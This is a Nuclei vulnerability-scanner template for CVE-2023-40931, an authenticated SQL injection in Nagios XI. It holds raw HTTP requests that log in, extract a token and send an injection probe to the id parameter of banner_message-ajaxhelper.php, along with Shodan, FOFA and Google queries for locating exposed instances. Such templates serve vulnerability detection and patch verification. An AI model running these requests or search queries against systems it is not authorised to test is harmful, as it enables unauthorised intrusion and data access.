id: CVE-2023-40931 info: name: Nagios XI v5.11.0 - SQL Injection author: ritikchaddha severity: medium description: | A SQL injection vulnerability in Nagios XI from version 5.11.0 up to and including 5.11.1 allows authenticated attackers to execute arbitrary SQL commands via the ID parameter in the POST request to /nagiosxi/admin/banner_message-ajaxhelper.php. impact: | Successful exploitation of this vulnerability allows an authenticated attackers to execute arbitrary SQL commands. remediation: | Upgrade Nagios XI to a patched version or apply the vendor-supplied patch to mitigate this vulnerability. reference: - https://rootsecdev.medium.com/notes-from-the-field-exploiting-nagios-xi-sql-injection-cve-2023-40931-9d5dd6563f8c - https://nvd.nist.gov/vuln/detail/CVE-2023-40931 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N cvss-score: 6.5 cve-id: CVE-2023-40931 cwe-id: CWE-89 epss-score: 0.87753 epss-percentile: 0.99485 cpe: cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:* metadata: verified: true max-request: 3 vendor: nagios product: nagios_xi shodan-query: title:"Nagios XI" fofa-query: app="nagios-xi" google-query: intitle:"nagios xi" tags: cve2023,cve,authenticated,nagiosxi,sqli,nagios,vuln http: - raw: - | GET /nagiosxi/login.php HTTP/1.1 Host: {{Hostname}} - | POST /nagiosxi/login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded nsp={{nsp}}&pageopt=login&username={{username}}&password={{password}} - | POST /nagiosxi/admin/banner_message-ajaxhelper.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded action=acknowledge_banner_message&id=* matchers-condition: and matchers: - type: word part: body words: - "Failed to acknowledge" - "SQL Error" - "right syntax to use near" condition: and - type: status status: - 200 extractors: - type: regex name: nsp part: body group: 1 regex: - "name=['\"]nsp['\"] value=['\"](.*)['\"]>" internal: true # digest: 4a0a00473045022100e7a051ec9926823fea7304a435f63834586fd203d1f3c7bfe487fde5a4e024d902201f1643c353a5d6d2cbc3e1c1f44b044e35412dde25e1252eb40ba5000e7f630e:922c64590222798bb761d5b6d8e72950